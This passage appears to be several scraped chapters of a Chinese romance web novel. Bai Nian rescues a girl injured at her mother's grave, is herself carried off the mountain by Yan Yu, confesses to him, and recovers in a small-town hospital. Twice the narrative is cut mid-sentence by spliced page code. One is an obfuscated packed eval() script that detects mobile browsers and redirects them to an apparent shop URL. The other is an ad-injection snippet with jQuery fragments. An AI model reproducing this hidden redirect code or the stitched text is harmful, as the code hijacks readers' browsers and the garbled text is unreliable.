越过山腰,树木终于不再是遮天蔽日的繁密,上方隐隐约约透露出些许天光,尽管已经很昏暗,比起刚才密不透风还是好上许多,这也意味着快到目的地了。 雨越大越大,白念几乎快连自己的脚步声也听不见,借着黯淡的天色,她干脆收起浸满雨水的手机,专心去扒拉挡路的草木,然后就是一愣。 前方有一根新鲜折断的树枝,断口处是参差不齐的嫩白。 “余游!小游!”她连忙往前拨开灌木往前冲去,越过磕磕绊绊的泥泞,终于看见寻觅已久的目的地。 前方静静立着一座孤坟。 更准确一些,是一座几乎已经被风吹雨淋得不成形的土堆,只有一块简陋得近乎腐朽的木桩代替石碑立在前面,上面斑驳脱落的油漆字迹昭示着它的身份。 墓前放着一盒水彩颜料,雨水落在塑料外壳上滴答作响。 是白念下午送给余游的礼物,崭新的颜料盒子在陈旧的墓堆显得异常刺目。 但余游已经不见了。 “小游!” 白念一边喊着,一边快速地环顾了一遍四周,雨水冲刷下看不出脚印的痕迹。 余游母亲被葬在半山腰这处几乎无人经过的地方,似乎是匆匆找了个隐秘的角落,也顾不上其他,几乎是贴着陡坡峭壁落的墓,只有方寸大的缓坡供人落脚。 雨势越来越大,在白念的脚下汇成溪流,撞上她的鞋子,又劈头盖脸地分成两股,汩汩顺坡而下。 白念的视线沿着流水向下,眼看着它们争先恐后地没入陡坡边上的灌木消失不见,她眼睛猛地睁大。 茂密的灌木丛被破开一个很小的口子,细小的枝桠被碾落在地上,掩盖住了一道几乎被她忽略的痕迹。 白念拔腿奔过去扯开嵌在泥里的枝叶,下面是半个清晰的脚印,和往坡下延伸的长长的滑痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702824|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她立刻拨开灌木往坡下探头高喊:“小游!” “姐姐……?”坡下终于传来一道微弱的回音。 “是我!”白念立刻抓着坡上的灌木丛往下走,一边大声回应,“你还好吗小游?” “我不小心摔下来了……对不起。”余游道歉的声音很细弱,不知道是不是因为太冷,嗓音有些轻颤。 白念喉头一滞,缓声开口:“姐姐下来找你,别怕。” 她按下心里所有的情绪,专注去看脚下的路,背阴的山坡上满是青苔,在雨中湿滑得几乎站不住脚,白念揪着坡上的灌木,一步一步去找凸出的地方落脚,一路上全是余游下坠时擦出的痕迹,拖着长长的泥尾,触目惊心。 往下挪了几分钟,白念终于看见坐在坡底沟中的余游,她身上蓝色的艾莎公主外套已经脏的不成样子,整个人抱着膝盖缩成一团,她也看见了白念,抬头轻轻叫了她一声。 “姐姐,你慢点。” 大概还有七八米的距离,白念点点头,右手往后抓着上方的灌木,左手去探下面的另一株,刚要安抚她,承担着整个身子力量的右手突然一轻。 嗒—— 手里的灌木枝条断了,她整个人开始急速下坠。 余游看得分明,什么都来不及做,眼睁睁看着白念脚下一滑,沿着陡峭的山坡一路滚了下来,然后没了动静。 她摇摇晃晃地站起来,挪到白念面前,看到她毫无动静地躺在雨水横流的沟底,头上的兜帽将她的脸遮得严严实实,余游颤抖着手去拉她:“姐姐……” “嘶——”一道痛呼打断了她颤抖的动作,“别动,让姐姐缓一缓。” 余游瞪大眼睛,一口提在嗓子眼的气瞬间落了下去,豆大的泪珠沿着鼻尖啪嗒啪嗒往下掉。 白念倒吸两口凉气,屈起膝盖跪在地上把自己的腰撑起来,然后用掌心撑地艰难地爬了起来,兜头便看见一张凄凄惨惨哭成花猫的泥脸,她忍着痛哭笑不得地去擦余游的眼泪:“别哭啊,姐姐没事。” 余游一把环住她的腰,张嘴“哇”地一声哭了出来:“对不起,我不该摔下来的,对不起!” 白念拉开她紧紧抱着自己的手,摸到冰凉一片,她解开自己的拉链,把余游整个包进自己的风衣里,拍了拍她的背:“这有什么好道歉的,不是你的错啊。” 小孩的情绪来得快去得也快,余游的放声大哭很快变成断断续续的抽搭,她紧紧抱着白念的腰,终于想起了要紧的问题:“我们现在怎么办呀?” 白念低头仔细检查了一下,余游的裤腿被划开一个长长的口子,裸露在外的皮肤上有很多擦伤,万幸脸上和身上好好的:“除了腿还有哪里痛吗?” 余游摇了摇头。 白念摸了摸她湿透的脑袋,许是因为淋雨太久的缘故,余游整张脸泛着青白,嘴唇冻得发紫,紧挨着她的身体也在隐秘地颤抖,但脸颊却滚烫,她自己却浑然不觉,紧紧攥着白念的衣服往外看。 白念心里一紧,看了一眼丝毫不见减弱的雨势,把风衣往余游那边拉了拉将她包好,脸上不动声色,给她一个安抚的微笑。 “姐姐带你出去。” 80. 爱意无声 白念上山时走的是由北向南的路线,但她是从南边的陡坡摔下来的,带着一个半大孩子,要爬上去沿路返回难如登天。 她掏出手机想要试一试信号,余游懂事地用两只手掌在屏幕上方撑起,试图帮她挡一挡雨,奈何收效甚微,细密的雨水劈头盖脸砸在屏幕上,将屏幕折射出分崩离析的炫彩,白念快速伸手拂去上面的水渍,看了一眼右上角。 信号为零。 打开导航,定位依旧停留在她截图给梁天心的地方一动不动。 不动声色地吸了口气,白念收起手机,看了眼紧紧依偎着她的小姑娘:“小游,你知道回去的路吗?” 余游的表情顿时萎顿下去,摇了摇头:“不知道,爸爸和爷爷说,妈妈留在家里不吉利,没等我放学回家见她一面,他们就把她带走了……我今天偷偷问了邻居阿孃,她让我沿着溪边上了山往山顶爬。” “对不起,姐姐,”她抬起头来看白念,“我给你添麻烦了,爸爸说我是个累赘,也许他是对的。” “怎么会。”白念轻轻摸了摸她的脑袋,心疼她早早读懂了累赘这个词语的含义,“找妈妈怎么会有错呢?” 说话间,她低头看了眼脚下顺着山沟流淌的雨水,安抚地拍了拍余游的肩膀:“我们沿着水沟下去,肯定能下山的。” 她拉紧风衣,搂紧余游的肩膀就要往前走,余游却罕见地没有迈步,停在原地踟蹰不前:“我的腿动不了……要不姐姐你先走吧,不用管我了。” 白念目光落在她的右腿,这才发现短短的一会儿,余游的脚踝已经肿起一个大包,摸上去是触目惊心的热,她思考了两秒,一把脱下风衣罩在余游头顶,在她面前转身蹲下:“说什么呢?姐姐背你。” “你淋雨了。”余游摇着头要把衣服还给她。 白念反手拍拍自己的背,一派轻松:“你上来,帮姐姐撑一下衣服不就可以了吗?” 听起来很可行,余游终于还是瘸着腿轻轻趴到她的背上,立刻将头顶的衣服撑得大大的,将白念一起盖住。 “出发咯。”白念拽着旁边的树枝,借力缓缓地撑起膝盖,站在原地没有立刻动作。 “姐姐你怎么了?”余游敏锐地偏过头问。 白念背对着她,松开自己被咬得泛白的唇和几乎掐进掌心的指甲,舒了一口气,语气平常:“没事,走啦!” 好在坡底的地势比较平缓,白念扶着身边经过的树干,深一脚浅一脚往山下走。 尽管两人身上都湿透了,但紧贴的身躯还是汇聚起些许温热来,风衣在两人头顶遮挡出一个简陋的空间,余游滚烫的呼吸砸在白念后颈,在狭小的风衣里聚起一个短暂温暖的空间。 方才还很精神的小姑娘声音逐渐模糊了起来,她把下巴轻轻抵在白念肩上,意识有些朦胧地呢喃道:“姐姐,我有点困。” “别睡。”白念将她往上托了托,“陪姐姐说话好吗?姐姐一个人会害怕。” 这话大半是用来哄孩子的,但是白念停下脚步歇了口气,发觉周遭的景象已经开始暗了下来,地上的草木和青苔融为一体,很容易让她分辨不清,不小心就会绊到。 天黑得差不多了。 她对黑暗有着天然的恐惧。 不过这话很有用,余游果真努力抬正自己的脑袋,为自己可以帮上一点忙而开心:“好,我不睡,我陪你。” “谢谢小游,”趁着勉强还能看清,白念继续往前走,身后的脑袋开始困顿,垂在她的后背一点一点,她连忙开口拉回她的注意力,“可以跟姐姐说说,为什么把颜料送给妈妈吗?” 环在她脖颈上的手臂紧了紧,余游缓缓开口:“我想把妈妈换回来。” “嗯。”白念化身忠实的听众,聚精会神去看脚下的路。 “爸爸他们都说,我画画是浪费钱,说钱都应该是弟弟的,我不能用,”余游声音轻了许多,“只有妈妈夸我画得好看。” 白念脚步一顿,才若无其事地往前走:“嗯,姐姐也觉得你画的很好。” “他们会打人,”余游吸了吸鼻子,“爷爷会打奶奶,爸爸会打妈妈……也会打我,只有弟弟不用挨打。” “我告诉妈妈,我不画画了,这样爸爸就不会那么生气,妈妈也不用为了保护我的水彩纸被爸爸扯着头发往墙上砸。”尽管余游努力平静下来,但声音里终于还是忍不住带了些颤音。 惊人的事实被这么平静浅淡地陈述出来,白念闭了闭眼,竭力按下自己的情绪。 “妈妈说要坚持,”余游声音缓下来,“她说她打工赚的钱偷偷攒了一点,要给我买颜料。” 白念咽下喉间的酸涩:“嗯,你妈妈很爱你。” “对,妈妈很好的,她会在夜里悄悄给我唱虫儿飞,再摸摸我的背,这样爸爸打过的地方很快就不痛了。”余游语气骄傲了一瞬,又很快黯淡了下去,“妈妈很好,是我不好。” “我不该贪心,真的让妈妈去城里给我买颜料,”余游的声音模糊起来,一滴滚烫的液体突然砸在白念颈上,她压住力竭的喘息,停下脚步。 然后就听见余游说:“这样她就不会被拉矿的卡车撞到,就不会一个人孤孤单单地躺在这里了。” 她一边说着,一边低下头去,将额头抵在白念背上,环着她的手臂越收越紧,压抑了许久,终究还是颤抖着哭出声来:“姐姐,我想把颜料拿给妈妈,告诉她不用去买了,我有了。” “我想让妈妈回来。” . 不知道又走了多久,哭泣过后的余游终于有些脱力,软软地倚靠着白念,声音越来越模糊,她竭力想要开口说话,践行自己陪着白念的诺言,但开口的声音近乎呢喃。 白念吃力地将她往上托了托,余游的脸颊轻轻撞在白念后颈,相触的地方一片滚烫。 “小游,别睡,我们快下山了。”她试图用这样的话唤醒背后的人,但已经没有回音了。 缠着她的手臂软软地垂了下去。 “小游。”白念轻轻喊了她一声,声音已经带上了哽咽,“坚持住。” 举目四眺,暗沉无边的密林仿佛无边无际,雨势终于小了一些,剥离了雨噪的山间陡然安静下来,只有树梢上坠落的雨滴砸在地上闷响,混合着白念极力压制的粗重呼吸。 白念连绝望的情绪都不敢有,她背上还有人,还等着她带她出去。 背上失去意识的小小身体不住地往下滑,白念反手去托,几乎使不上力。 她的手臂已经麻木到失去知觉。 站在原地弓着背缓了口气,微微弯腰的动作让脑子里一片轰鸣,她往自己大腿上狠狠地掐了一把,唤回几分清醒的意识,重新迈开双腿。 再走一步,再多走一步。 余游滚烫的体温似乎透过潮湿的衣服传到了她的背上,白念觉得自己也变得很热,小腿的肌肉在隐秘地发颤,她深吸一口气。 鼻腔里是滚烫的腥甜。 举步维艰。 眼前的树影开始摇晃,她抓住身边的树干站稳,等过这一阵头晕目眩的虚弱,耳边突然传来窸窣的响动。 像敏捷的野兽正在越过密林朝她们靠近。 白念毛骨悚然,横生出几分力气,将余游往背上用力一托,紧紧注视着响动的来源,轻轻往后退了一步,将背部靠在一棵粗壮的树干上,然后悄悄伸手去掏兜里的手机,想要打开手电筒吓退这未知的危险。 声音几乎就在面前,她的血液几乎凝聚到脑中。 “白念?”一道沉沉的嗓音突然从头顶炸开。 她颤抖着摸索电筒按钮的手猛地僵在原地:“……你来了。” “对,”男生紧绷的声音明显轻了一些,“我马上下来,你怎么样?” “好,我还好,”白念回答得很理智,她甚至想到要低头去打开手电筒,向严禹示意自己的位置,“我在这里。” 她努力让自己听起来很正常。 耳鸣越来越厉害,她已经听不清严禹后面说了些什么,只能依稀看见上方摇晃的光线,她不知道她和他的高差有多少,只感觉到头顶有枝叶碾落的声音,随后有脚步重重地落在她的眼前。 白念眼前泛起一阵接一阵的眩晕,她压根看不清来人的模样,只是下意识转过身去,将背上的孩子送到他面前:“余游在发烧,好像是晕过去了,快把她送回去。” 背上陡然一轻,白念像交付了千钧的责任一般,她觉得自己浑身轻飘飘的:“走吧,我跟在你身后。” 她下意识迈开脚步,想要往前走。 继续走,走回去。 似乎有人伸手来拉她,行动间有熟悉的气息擦过她的鼻尖,白念想要扭头笑一下,告诉他自己没事,突然眼前一黑。 坠落前最后的意识,是落入了一个温热的怀抱。 . 眼前是浓稠的黑暗。 这是白念醒来的第一个感受。 她缓缓睁开眼睛,才发现身前是坚实温热的肩背,她额头抵在上面,鼻息间全是严禹的味道,身上是一件柔软厚实的外套,将她拢得严严实实,她动了动脑袋。 低头在山路上行走的严禹察觉到背上轻微的动静,顿了一下:“你醒了?” 微哑的声音里有些不易察觉地放松,似乎是紧绷的弦终于得到一丝松解。 白念偏过头,从他的右肩往前看,夜已深,前路几乎隐匿在黑暗中,换成她可能要一步一摸索,也不知道严禹怎么走得这么稳。 似乎是精力还没回笼,白念懒懒地将下巴抵在严禹右肩上,侧脸几乎是擦着他的耳畔过去的,她轻轻开口,带着些鼻音,像是没醒神一般:“怎么不打灯?” 说话带出的温热气息在严禹耳畔犹如实质,又轻又痒,他深吸一口气,没有躲开,声音依然沉稳:“怕搂不稳你。” 大约是刚才体力消耗得太过严重,白念神思都有些倦怠,她意识有些不够清醒,下意识眷恋地埋在严禹背上深吸一口气,鼻翼间全是令人安心的味道。 严禹托着她腿部的手蓦地紧了紧。 亲密相触下,白念终于有些回神,她抬起下巴:“放我下来吧,我可以自己走了。” 严禹只当她还在浑浑噩噩,半哄半讲道理:“你在发烧,盖好衣服,听话。” 哄孩子似的一句“听话”让白念愣怔了片刻,她轻笑一声:“师兄,我真的醒了。” 她已经很久没这么称呼过他,自从知道他的身份以后,她的认知一直很混乱,下意识用你你你来唤他。 这一声成功让严禹哑口无言,沉默无声地往前走。 半晌他才像忍不住一般开口:“想跟我拉开距离也得等回去再说。” 语气里带了些不容拒绝的冷硬和坚持。 天知道他看见她在他面前晕过去的时候,有多害怕。 白念没力气跟他辩解,见下不来,索性也不挣扎了,摸索着去探自己的衣兜,拿出了手机,点开手电筒,伸到严禹前面:“那我帮你照路。” 因为这个举动,她右手环 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严禹脚步一顿,有些无奈地笑了下,轻描淡写:“所以让你别开灯。” “你放我下来。”她声音里带了些哭腔。 她明明不是爱哭的性格。 严禹声音温柔却固执:“不放,你手臂和腿都受伤了,走不了路。” 他这么说着,自顾自平稳地往前走,背上一时间没了声音,他以为白念被说服了。 啪嗒。 一滴温热的液体坠落在他的后颈,严禹脑子一懵,慢半拍反应过来那是什么。 他瞬间有些慌乱:“别哭,我真的没事。” 白念的眼泪却突然不受控制,沉默无声地啪嗒、啪嗒接连坠落,在他的颈上,肩上,背上。 她本来不想哭的,也不知道为什么要哭,也许是今晚从进山起就强装不怕的那口气崩塌了,也许是身体疲惫到失去控制,也许是其他更混乱的情绪。 “你放我下来。”她固执地要求道。 严禹连忙将她放下,转过身来拉拢她身上的外套,低头伸出手指想帮她擦眼泪。 白念泪眼朦胧地一把攥住他的手臂:“手臂也划伤了?” 她就着手里的灯光去看他,才发现在黑暗里四平八稳的人身上其实很狼狈,头发有些凌乱,浅色的衬衫到处都是划痕,手臂上有很多细密的小伤口,腿上看不出什么,看起来最严重的是肩背。 而她自己,下坠的时候手臂被石块割伤,膝盖落地的时候也重重地磕了一下,忍痛背着余游走了半个小时已经是强弩之末,现在落地就是尖锐的刺痛。 严禹沉默着来扶她,白念反手一把攥住他的手腕,两个形容潦草的人面面相觑,严禹伸出拇指轻轻揩拭她的眼角,奈何白念眼泪太过汹涌,完全没有作用。 他叹了口气,做了今晚一直想做的事情。 他伸出手臂,重重地将面前的身影完全地圈进了怀中。 哪怕只有这一刻,他就当作这一刻,她的眼泪为他而流。 旷野中唯一的光亮被埋在两人之间不见踪影,昏暗中,他垂下头去轻抚白念未干的头发,被他困在怀中的人却慢慢伸出双手,缓缓地、轻轻地反抱住他的腰,珍之又重。 严禹愣在原地。 她埋在他的胸口,声音发闷,带着轻微的沙哑道:“谢谢你。” 她想说的不是谢谢。 情绪太过汹涌,语言就苍白无力。 这些情绪困在紧锁的储藏室门后,躲在雨夜无声的耳机里,藏在风雨萧瑟的山林间。 她是孤身前行的战士,只有他撑住了她铠甲上摇摇欲碎的裂隙。 然而这句话落在严禹耳中,就是熟悉的礼貌与客套,他悬在心口的念头蓦然坠地,垂下眼睛自嘲地苦笑了一下:“嗯。” 天边有闷雷沉沉滚过,刚刚冒头的月色又被黑沉的云层盖了回去,严禹闭了闭眼,拉开圈在自己腰上的手臂,上面的温度依旧滚烫,她还在发烧。 “上来,我带你回去。”他垂头去看白念,她的眼泪终于止住,眸光中水汽氤氲,愣愣地抬眼来看他。 他声音放缓:“要下雨了。” 白念却注视着他不放,话题急转直下:“你说过要陪我寻找答案。” 她的声音闷闷的,带着些鼻音,看不出情绪。 严禹喉结滚动了一下,不知道她此刻固执地提及此事的意味,也许是高烧让她此刻显得格外执拗又天马行空,他咽下所有不该的希冀,哑声开口:“对。你先上来,好吗?你还在发烧,我带你回去换身衣服再去医——” 他的声音猛地卡在喉咙里。 白念揪住他带着血迹的衣领,迫使他垂下头来,然后踮起脚尖,莽撞又直白地吻了上去。 略微干燥的唇瓣带着高热的温度,清晰又强烈地与他相触,一把焚干净他心头所有情绪。 严禹脑中一片剧烈的轰鸣,湮没他急促的呼吸与如擂的心跳。 “这就是我的答案。” 白念腿痛站不住,亲吻一触即分,她刚要退开,就被严禹猛地一把拽了回去,一手困住她的腰将她托稳,一手按住她的后脑,不容反抗地再次吻了上来。 “是你自己撞上来的。”他泄愤似的咬了一口她的下唇,声音喑哑又带着些凶狠。 白念在意识朦胧中轻笑了一声,抬起手臂轻轻环住了他的脖颈。 漫长无声的爱意,终于得见天光。 81. 夜诊 风雨欲来,寂静的山道上撑着一道微弱的光亮,几乎被浓稠的夜色吞没。 光亮后面是一只长出衣袖的手臂,摇晃着顽皮地去探照身前的景象,光线掠过迎着夜风舞动的草叶和寂静流淌的溪水,然后回到一双沉稳的步伐之下。 脚步的主人有点无奈:“手放回去,我看得到。” 白念将手机收回了一些:“我不,我说自己走你也没同意啊。” 严禹说不过她,干脆轻轻笑了下,停下脚步,将肩上的外套拉拢了一些,遮挡住白念发凉的小臂。 白念避开严禹受伤的部位,轻轻将下巴搭在他的右肩之上,方寸之间,鼻息里全然是他的味道,令人安心的味道。 她呼吸的热气轻轻擦过严禹的皮肤,男生默不作声地僵直了脖颈,没有说话。 白念觉得他的反应很有趣。 这个人,刚才禁锢住她的动作有多凶狠和强势,现在就有多温柔和收敛。 远远地快要看到公路上行车的灯光,白念突然偏过头,玩笑似的在他耳畔问道:“你怎么不问我?” 不问她为什么吻他,也不要亲耳听听她的答案,确切的答案。 像一只逼近猎物的猛兽,谨慎到了极点。 严禹手上的力道清晰地紧了紧,没有说话。 白念被他沉默的反应逗笑,轻轻吸了一口气,倚着他的肩膀,语气突然轻下来:“我知道你会找到我的,一直是这样。” 这是她踽踽独行二十年来,第一次毫无保留的信任。 “嗯,”严禹轻轻应了一声,忍了又忍,还是没忍住,“……但还是很危险。” 见白念没说话,他闭了闭眼,有些懊恼,察觉到自己似乎在破坏气氛。 “抱歉,”他有些泄气,“我不是在指责你,我只是担心。” “我知道,对不起。”白念笑了一下,眼尾勾起一个浅浅的弧度,调整手臂重新搂住他的脖颈喃喃道:“你知道吗?小时候我很喜欢吃巧克力,但是我……弟弟,总是要抢我手里的,我不给他,就要被我妈妈打。” 她坦然地说出亲人的称呼,语气平和得像在诉说别人的故事。 话题陡然一变,严禹脚步顿了顿,又平稳地往前走,声音温柔下来:“嗯,然后呢?” “后来有一天,我妈妈突然说要带我去商场里买巧克力,只给我一个人的巧克力,”白念说,“我们去了最大的商场,她让我在椅子上等她。” 似乎是知道她接下来要说什么,严禹呼吸有些发沉,想要出声安慰她,刚要张口,白念又若无其事地继续道:“我在那里等了一下午,等到商场关门,也没有把她等回来。” “后来呢?”严禹轻声问道。 “我以为我不小心和她走散了,毕竟我那么矮,她肯定是看不见我,”白念轻轻笑了下,“我只好站在广场最高的台阶上,希望她能看见我,找回我。” 严禹嗓音发涩:“你做得很好。” “当然了。”白念眼眶有些发酸,她闭上眼睛,将后面的记忆连同汹涌而至的泪意一起拦了回去。 那天她在广场的雕塑下站到夕阳西下,最高处的小孩没有等来母亲的回头,却等来了警察,兜兜转转她还是回到了家。 那时周淑华的表情她一辈子也读不懂。 女人牵过警察手里的孩子,死寂无波的目光里,有一闪而过的眼泪。 为了那滴可能压根没存在过的眼泪,白念忍了这许多年。 只是她如今也不想懂了。 她偏了偏脑袋,看着眼前呼吸沉重的人,突然觉得那些难以回忆的过去真的已经成为过去,她浅浅地呼了口气:“但是你找到我了。” 这话毫无上文,严禹却懂了,他沉沉地应了一声:“嗯,我找到你了。” 幸好找到了。 公路边已经有大部队喊了大巴在等待他们俩,远远看到两人走近,有人大步往这边赶,高声呼喊着什么。 就要打破两人寂静私语。 白念猝不及防唤他:“师兄。” 严禹微微侧过脸来:“我在。” “谈恋爱吗?” . 镇上的医院夜晚很安静,刷着白漆的走廊里摆着几条一排塑料椅子,白念坐在椅子上等待。 急诊室里只有一名医生,正在帮高热症状严重的余游诊治中,白念也有些发烧,但还能撑得住,裹紧身上严禹的冲锋外套,看了眼门外。 “念念!”身后有人唤她,白念回过头去。 江佑一屁股在她身旁坐下,手里抱着个输液的玻璃瓶,被烫得龇牙咧嘴,吸着气用自己的薄围巾把瓶子包裹起来,往白念手里一塞:“快暖暖手!我刚才找帮手和司机去了,没来得及去找你,你还好吧?” 白念感激地收下这临时的简易暖手宝,点点头:“没事。你是领队,事情本来就多。” 她毫不介意的态度让江佑脸色一黯,刚要说什么就被打断。 梁天心刚看着余游输完液,连忙从输液室里跑出来往她面前一蹲,弯下腰就去看她的膝盖,破烂的裤管下肉眼可见的淤青红肿,她皱了皱眉:“好严重,得好好休息一阵子了。” 白念安抚地笑了下:“过几天就好啦。” 梁天心眼泪一下子涌了出来:“对不起,我应该和你一起的,我看到常临一个人跑回来的时候都担心死了,我真没想到他会把你丢下。” 约莫是从事发奔忙到现在,梁天心连衣服都没来得及加一件,腿上冷得发紫,白念伸出手摸了摸她凌乱的头发和满头的汗:“你跟我上山,谁给大家带路啊,辛苦你了。” 梁天心擦了擦眼泪:“今晚也多亏了严学长,你信号断了之后我们一直找不到你,好多人在说你可能下山了,想劝他回头汇合换个方向,是他一个人坚持往山上跑……我们赶到的时候你已经没有意识了,小游也是,吓死我了呜呜呜……” 白念笑着拍了拍她的肩膀:“我那时候可能是太累了,现在缓过来了。” “幸亏他当机立断,没等大部队一起就先往山上跑,不然我都不敢想你和小游晕倒在山上该怎么办,”梁天心心有余悸地拍了拍胸口,“你是没看到他听常临说完话的那个脸色有多难看,一把拎住了常临的领口问他怎么走……我感觉要不是急着找你,他都要一拳打上去了。” 白念愣了下。 从她醒来到现在,严禹表情一直很冷静,冷静得令人安心,她完全想象不到他紧张的模样。 她蓦地回想起他回吻过来时凶狠的模样,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时她头晕目眩,压根没有余力注意其他,只觉得腰上被紧紧禁锢住,现在才反应过来,停留在那里的手掌带着轻微的颤抖。 还有她失去意识前听到的重重的的坠地声,以及严禹身上大小不一的伤口。 她垂下眼睛:“是啊,多亏了他。” 她的语气莫名很轻很柔和,一旁的江佑愣了愣,还没来得及说话,梁天心又看向他。 “江社长也帮了很大的忙,又是找人帮张老师顶班,又联系司机,带着大家跑到镇上买了雨具又往山里赶,很多人其实不清楚发生了什么,还有人怀疑小游根本不在山上……要不是他从中协调,大家也不会来得这么快。” 说完,梁天心长舒一口气:“幸好,一切都还来得及。” 江佑到嘴的话咽了回去,眨巴着眼睛看向白念。 白念感激一笑,伸出手轻轻拍了拍他的肩膀:“多谢啊。” 一个不给人任何绮念的朋友手势。 “我不想要你的感谢。”他语气有点僵硬,惹来不知情的梁天心诧异地看了他一眼,脑子飞速运转。 医生刚好看完余游的情况走出来,一边往急诊室走一边扭头看了看:“下一位是谁,可以准备进来了。” “我扶着你。” 梁天心和江佑异口同声地开口。 白念还没说什么,走廊尽头就传来奔跑的脚步声,一道高大上的身影出现在门口,严禹回来了。 他手里提了一大包东西,递给梁天心:“小梁,里面是一些速食,麻烦你趁热分给大家吧,先垫一下肚子。” 梁天心下意识听话地接了过去。 然后就看见严禹在白念面前蹲下,拿出另一个袋子,从里面掏出一个灌满热水的热水袋放到白念手里,紧接着又掏出一双……拖鞋? 是绵软可爱的猫咪造型,上面还有两个挺翘的猫耳朵,一双冬天的棉拖。 “你的鞋子都湿了,换一下再去。”他说着就要低下头去帮白念脱鞋。 白念尴尬地咳了一声,伸手制止了他旁若无人的动作:“……我自己来。” 腿上沉甸甸的热水袋和热水瓶阻止了她弯腰的动作,白念暂时将两个东西都往边上一放,严禹看了一眼一旁裹着男款围巾的瓶子。 大家这才发现白念鞋子上全是泥水,她脚踩过的地方已经积起一滩浅浅的水渍,露出的脚踝冷得发青。 顶着着几双直勾勾的眼睛,她迅速地换好鞋子准备起身进诊室,梁天心紧跟着站了起来,想要放下手里的袋子去搀扶她。 “我来吧。”江佑立刻站起来。 严禹却比他动作更快,弯下腰去轻轻抄起白念的膝弯,避开她受伤的膝盖,径直抱起她往里走。 梁天心眼疾手快地抓起一个暖手的就往白念怀里塞:“念念快抱好,还发着烧呢!” 目送两个人进去,她扭过头来,才发现旁边的江佑目光也收了回来,情绪复杂地注视着她。 梁天心挠了挠自己的脑袋:“……我脸上有东西吗?” 江佑收回目光:“没有。” 说完转身就走。 “社长你的瓶子和围巾!”梁天心看了眼椅子上孤零零的东西,拔高音量。 江佑头也不回:“你用吧。” 82. 暗夜汹涌 白念退烧已经是快凌晨的事情了。 她躺在余游隔壁,迷迷糊糊睁开眼睛,引入眼帘的就是医院冷白的天花板,她迟缓地眨了两下眼睛,突然意识过来自己身在何处,猛地转过头去。 “小游?” 背对着她坐在床边的余游回过头来眼睛也是一亮:“姐姐你醒啦!” 她正自己半弯着腰凑在床头柜上,用左手慢慢地一勺一勺喝着粥,开口的嗓音脆生生,看着精神已经好了许多,眼睛也亮亮的。 白念舒了口气:“你退烧了吗?” 余游点点头,有点小骄傲地举了举自己手中的勺子:“张老师说要喂我吃饭,我都说可以自己吃的。” 果然是小孩子,恢复起来速度真是快。 坐在她床边的张老师从余游身前探出头来,一脸关切地问道:“小白你感觉怎么样了?还有哪里不舒服吗?头晕不晕?我说要过来看看你小游还不让,怕打扰你休息,连吃饭都要背对着你……” 白念轻声失笑:“我好多了,应该是退烧了。” 问候完这个小病患,白念扭过头来,才发现房间里只有她们三个人,她往外面安安静静的走廊看了一眼,转头问道:“张老师,其他人回去了吗?” “大部分帮忙的都回旅馆去了了,还有几个吵着要去露营呢,这些孩子,大冷的天……”张老师也往外看了看,“还有几个没走,应该在外面呢。” 正说着话,梁天心大约是听到动静,突然急急忙忙地跑了进来,手里还举着半根没有吃完的冒着热气的烤肠:“念念你醒了!” 白念看着她被烫得龇牙咧嘴的表情忍俊不禁:“怎么不回去休息?” 梁天心很不好意思地把东西咽了下去,又扭头看了看门外,压低了声音:“严学长和江社长不肯走,两个大男生非说要等你……我不放心。” 说到一半,她特地凑过头来,做贼一样悄声:“不知道是不是我的错觉,我感觉他们俩之间有种微妙的敌意……也许是我夸张了哈,我怕他俩在这里打起来,你睡着了没人劝架……” 白念忍着笑看了眼悄声八卦的梁天心,某种程度上来说她也是真相了。 “特别是严学长,自从他从山上把你带回来以后,唔,怎么说呢?”梁天心沉吟片刻,“似乎变得特别强势,关于你的事情全都亲力亲为,我想帮个忙压根插不上手。要不是医生催他去处理伤口,他就一直在你旁边坐着不动了。” 不得不说她的直觉也是真的敏锐,白念看了眼她手里的烤肠,正色道:“你先把东西吃完,我告诉你一件事。” 梁天心眨了眨眼:“……你知道说话说一半的人会怎么样吗?” “好吧,”白念扬了扬眉,“我跟他,在一起了。” 啪嗒—— 小梁同学手里的半截喷香烤肠应声坠地,惹来旁边只能喝粥的余游痛惜和谴责的目光。 走廊里似乎也响起物品落地的声音,梁天心下意识起身探出头去看了一眼,奇怪地喃喃道:“没人啊,什么动静……” 回过神来,震惊过后的她惭愧地捡起烤肠,痛心地往垃圾桶里一塞,转过头来拷问白念:“今早下车时候你还说不是呢?” 当事人白念无辜地轻咳一声:“刚满三个小时。” “什么三小时?”一道温润嗓音响起,严禹刚进门,一边放下袖子遮住手臂上的纱布一边走过来,抬头看了一眼头顶的吊瓶,“正好,可以拔针了。” 虽然他是询问的语气,但似乎心情很好。 旁边刚刚听完大瓜的三个老老少少竖直了耳朵,视线在他们俩之间来来回回,刚才在山上莽撞坦荡无比的白念被盯得莫名含蓄起来:“……没什么。” 严禹走近带来一阵轻微的凉风,夹杂着浓郁的碘伏味道,白念看了眼他的左肩:“背后的伤口处理了吗?” 男生目光温柔地笑了下:“都弄好了,不用担心。” 说话间,他停在白念床边,俯下腰来,整个上半身越过白念上方,伸出手臂去按病床另一侧的呼叫铃,有一瞬间他的衣服扣子几乎要碰到白念的鼻尖,属于男性荷尔蒙的气息铺天盖地地压下来,又很快跟着主人起身的动作消散。 白念用空余的手不自在地摸了摸发痒的鼻尖,余光瞥见梁天心意味深长地勾了勾唇,眼睛里八卦之火在熊熊燃烧,她轻咳一声侧过脸去装傻。 拔完针走出医院已经是十二点后了,张老师带着余游先回了学校,街道上几乎没什么人影,梁天心奇怪地“咦”了一声左看右看:“江社长呢?刚刚还在呢。” 白念掏出手机飞快地发了条消息,收到回复后抬起头来:“他说他有事先走了,我们回去吧——” 吧字的尾音还在嘴巴里,她转头就看到严禹垂着眼看着她的短信界面,神色有点淡,白念摸了摸脑袋,总觉得他欲言又止。 